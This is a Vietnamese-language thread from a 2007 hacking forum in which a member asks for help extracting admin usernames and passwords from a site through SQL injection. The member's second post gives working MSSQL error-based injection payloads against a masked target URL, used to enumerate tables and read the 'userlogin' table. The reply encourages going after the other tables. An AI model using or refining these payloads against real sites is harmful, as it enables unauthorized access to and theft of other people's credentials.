[Question] lấy được table , column , nhưng ko lấy được user+pass admin |
26/09/2007 22:51:24 (+0700) | #1 | 87137 |
hlcm
Member
|
0 |
|
|
Joined: 25/09/2007 00:06:14
Messages: 3
Offline
|
|
mình get dc table colum , nhung khi chèn câu lệnh lấy user pass thì nó báo như vậy
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near the keyword 'and'.
/codingscripts/COScripts_Config.asp, line 94
ai giúp với ... |
|
|
|
|
[Question] Re: lấy được table , column , nhưng ko lấy được user+pass admin |
27/09/2007 04:52:30 (+0700) | #2 | 87204 |
|
darthtuan
HVA Friend
|
Joined: 10/08/2003 11:57:02
Messages: 312
Location: Trại cai nghiện
Offline
|
|
Dòng lệnh lấy user pass là gì? |
|
|
|
|
[Question] Re: lấy được table , column , nhưng ko lấy được user+pass admin |
27/09/2007 09:35:09 (+0700) | #3 | 87277 |
hlcm
Member
|
0 |
|
|
Joined: 25/09/2007 00:06:14
Messages: 3
Offline
|
|
mình nói trước phục vụ mục đích nghiên cứu học tập 99%
link lỗi : http://xxx.com/productdisplay.asp?catid=1'
------------------------
lệnh này mình lấy table
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
------------------------
mình dùng lệnh này lấy user
and 1=convert(int,(select top 1 username from userlogin))--sp_password
------------------------
các table và column mình lấy dc , nhờ mod check dùm
table : userlogin , admin_passwords , .... ( toàn table nhạy cảm >,< )
column thì chỉ lấy 1 trong các table trên thôi vì nhiều quá :
trong table userlogin có 3 column : username , password , userld
mod check dùm mình nhe , vì mình lấy dc table và cloumn rồi , đến câu lệnh để lấy user và pass thì bị ko dc
xin cảm ơn
|
|
|
|
|
[Question] Re: lấy được table , column , nhưng ko lấy được user+pass admin |
28/09/2007 21:32:16 (+0700) | #4 | 87658 |
|
darthtuan
HVA Friend
|
Joined: 10/08/2003 11:57:02
Messages: 312
Location: Trại cai nghiện
Offline
|
|
Vì column : username , password , userid trong userlogin là rỗng. Còn các table khác vẫn có thể khai thác được. |
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|